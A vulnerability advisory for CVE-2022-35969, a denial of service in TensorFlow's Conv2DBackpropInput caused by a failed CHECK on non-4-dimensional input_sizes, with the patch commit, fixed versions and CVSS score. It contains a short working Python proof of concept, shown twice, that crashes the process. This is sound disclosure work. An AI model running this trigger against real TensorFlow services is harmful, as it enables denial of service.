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TensorFlow vulnerable to `CHECK` fail in `Conv2DBackpropInput`

TensorFlow

CVE-2022-35969 · Published Sep 16, 2022 · updated Jul 13, 2026

Medium5.9
Fix: upgrade to 2.7.2 or later (3 fixed versions below)
GitHub advisory

Impact

The implementation of Conv2DBackpropInput requires input_sizes to be 4-dimensional. Otherwise, it gives a CHECK failure which can be used to trigger a denial of service attack:

```python

import tensorflow as tf

strides = [1, 1, 1, 1]

padding = "SAME"

use_cudnn_on_gpu = True

explicit_paddings = []

data_format = "NHWC"

dilations = [1, 1, 1, 1]

input_sizes = tf.constant([65534,65534], shape=[2], dtype=tf.int32)

filter = tf.constant(0.159749106, shape=[3,3,2,2], dtype=tf.float32)

out_backprop = tf.constant(0, shape=[], dtype=tf.float32)

tf.raw_ops.Conv2DBackpropInput(input_sizes=input_sizes, filter=filter, out_backprop=out_backprop, strides=strides, padding=padding, use_cudnn_on_gpu=use_cudnn_on_gpu, explicit_paddings=explicit_paddings, data_format=data_format, dilations=dilations)

`

Patches

We have patched the issue in GitHub commit [50156d547b9a1da0144d7babe665cf690305b33c](https://github.com/tensorflow/tensorflow/commit/50156d547b9a1da0144d7babe665cf690305b33c).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact...

Affected versions

PackageAffectedFixed in
tensorflow
PyPI
< 2.7.22.7.2
>= 2.8.0, < 2.8.12.8.1
>= 2.9.0, < 2.9.12.9.1
Details and references

### Impact The implementation of `Conv2DBackpropInput` requires `input_sizes` to be 4-dimensional. Otherwise, it gives a `CHECK` failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf strides = [1, 1, 1, 1] padding = "SAME" use_cudnn_on_gpu = True explicit_paddings = [] data_format = "NHWC" dilations = [1, 1, 1, 1] input_sizes = tf.constant([65534,65534], shape=[2], dtype=tf.int32) filter = tf.constant(0.159749106, shape=[3,3,2,2], dtype=tf.float32) out_backprop = tf.constant(0, shape=[], dtype=tf.float32) tf.raw_ops.Conv2DBackpropInput(input_sizes=input_sizes, filter=filter, out_backprop=out_backprop, strides=strides, padding=padding, use_cudnn_on_gpu=use_cudnn_on_gpu, explicit_paddings=explicit_paddings, data_format=data_format, dilations=dilations) ``` ### Patches We have patched the issue in GitHub commit [50156d547b9a1da0144d7babe665cf690305b33c](https://github.com/tensorflow/tensorflow/commit/50156d547b9a1da0144d7babe665cf690305b33c). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

CVSS 3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Severity from
GitHub (reviewed advisory)
Also known as
BIT-tensorflow-2022-35969, CVE-2022-35969, PYSEC-2026-1028, PYSEC-2026-3227, PYSEC-2026-3360

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